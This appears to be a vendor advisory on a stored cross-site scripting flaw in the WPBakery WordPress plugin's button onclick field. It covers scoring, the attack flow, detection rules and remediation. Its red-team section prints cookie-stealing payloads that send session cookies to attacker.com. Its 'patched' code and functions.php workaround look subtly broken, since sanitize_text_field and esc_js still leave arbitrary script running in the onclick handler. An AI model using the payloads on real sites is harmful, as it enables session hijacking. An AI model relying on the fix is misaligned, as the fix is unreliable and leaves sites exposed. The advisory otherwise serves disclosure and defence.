CVE-2024-1805

Executive Summary

CVE-2024-1805 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery plugin for WordPress, affecting all versions up to and including 7.5. The flaw resides in the button onclick attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – A user must visit the injected page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for widespread exploitation via stored payloads in a popular CMS plugin elevates the risk.

Deep Dive & Mechanics

The WPBakery plugin (formerly Visual Composer) is a popular page builder for WordPress. It allows users to create complex layouts via a drag-and-drop interface. The vulnerability exists in the button element's onclick attribute. When a contributor or higher-privileged user creates or edits a page using the WPBakery editor, they can set an onclick event for a button. The plugin fails to properly sanitize the input and escape the output, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An authenticated attacker with contributor access logs into WordPress.
2. The attacker creates a new page or edits an existing one using the WPBakery editor.
3. The attacker adds a button element and sets the onclick attribute to a malicious JavaScript payload, e.g., alert('XSS') or a more sophisticated payload to steal cookies.
4. The page is saved and published.
5. When any user (including administrators) visits the page, the malicious script executes in their browser.

Root Cause: The onclick attribute is not filtered through WordPress's wp_kses or similar sanitization functions, and the output is not escaped using esc_attr() or esc_js(). This allows raw JavaScript to be stored and rendered.

Vulnerable vs. Patched Code

Vulnerable Code (WPBakery <= 7.5):

// In the button element's render function
$onclick = $atts['onclick']; // No sanitization
$output = '<button onclick="' . $onclick . '">Click Me</button>'; // No escaping

Patched Code (Hypothetical Fix):

// In the button element's render function
$onclick = isset($atts['onclick']) ? $atts['onclick'] : '';
$onclick = sanitize_text_field($onclick); // Sanitize input
$output = '<button onclick="' . esc_js($onclick) . '">Click Me</button>'; // Escape output

Note: As of this report, no official patch has been released by WPBakery. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with WPBakery plugin version <= 7.5.
• An account with contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. In the WPBakery editor, add a "Button" element.
4. In the button settings, locate the "On Click Action" field.
5. Enter a malicious JavaScript payload, e.g.:

   document.location='http://attacker.com/steal.php?cookie='+document.cookie
   

6. Save and publish the page.
7. Wait for an administrator or other user to visit the page. The script will execute, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

var img = new Image();
img.src = 'http://attacker.com/log.php?data=' + encodeURIComponent(document.cookie);

Blue Team (Defensive)

Detection:

• Monitor for unusual onclick attributes in page content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/admin-ajax.php or page save endpoints.
• Review user activity logs for suspicious page edits by low-privilege users.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline JavaScript execution.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Modified page/post content in the WordPress database containing onclick attributes with JavaScript.
  • Suspicious entries in the wp_posts table where post_content contains onclick= followed by JavaScript.

• Network-based IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers pointing to pages with injected scripts.

• Log-based IOCs:

  • WordPress audit logs showing page edits by contributor accounts with unusual onclick values.
  • Web server logs showing requests to pages with onclick attributes in the response.

Detection Engineering

YARA Rule

rule CVE_2024_1805_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads in WPBakery button onclick attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1805"
    strings:
        $onclick = /onclick\s*=\s*["'][^"']*javascript[^"']*["']/ nocase
        $onclick2 = /onclick\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>[^"']*["']/ nocase
        $onclick3 = /onclick\s*=\s*["'][^"']*eval\([^)]*\)[^"']*["']/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1805 WPBakery Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via button onclick attribute in WPBakery plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wpb_save_element'
        sc-status: 200
    keywords:
        - 'onclick='
        - 'javascript:'
        - '<script>'
    condition: selection and keywords
falsepositives:
    - Legitimate use of onclick with safe JavaScript (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1805 WPBakery Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wpb_save_element"; http_client_body; pcre:"/onclick\s*=\s*["'][^"']*(?:javascript|script|eval)[^"']*["']/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPBakery plugin until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in onclick attributes.

Long-term Fix:

• Apply the official patch from WPBakery once released.
• If no patch is forthcoming, consider migrating to an alternative page builder plugin.
• Regularly update all WordPress plugins and core.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually sanitize the onclick attribute by adding a filter in the theme's functions.php:

  add_filter('wpb_get_element_atts', function($atts, $element) {
      if ($element === 'button' && isset($atts['onclick'])) {
          $atts['onclick'] = sanitize_text_field($atts['onclick']);
      }
      return $atts;
  }, 10, 2);
  

Valters IT
Securing Digital Frontiers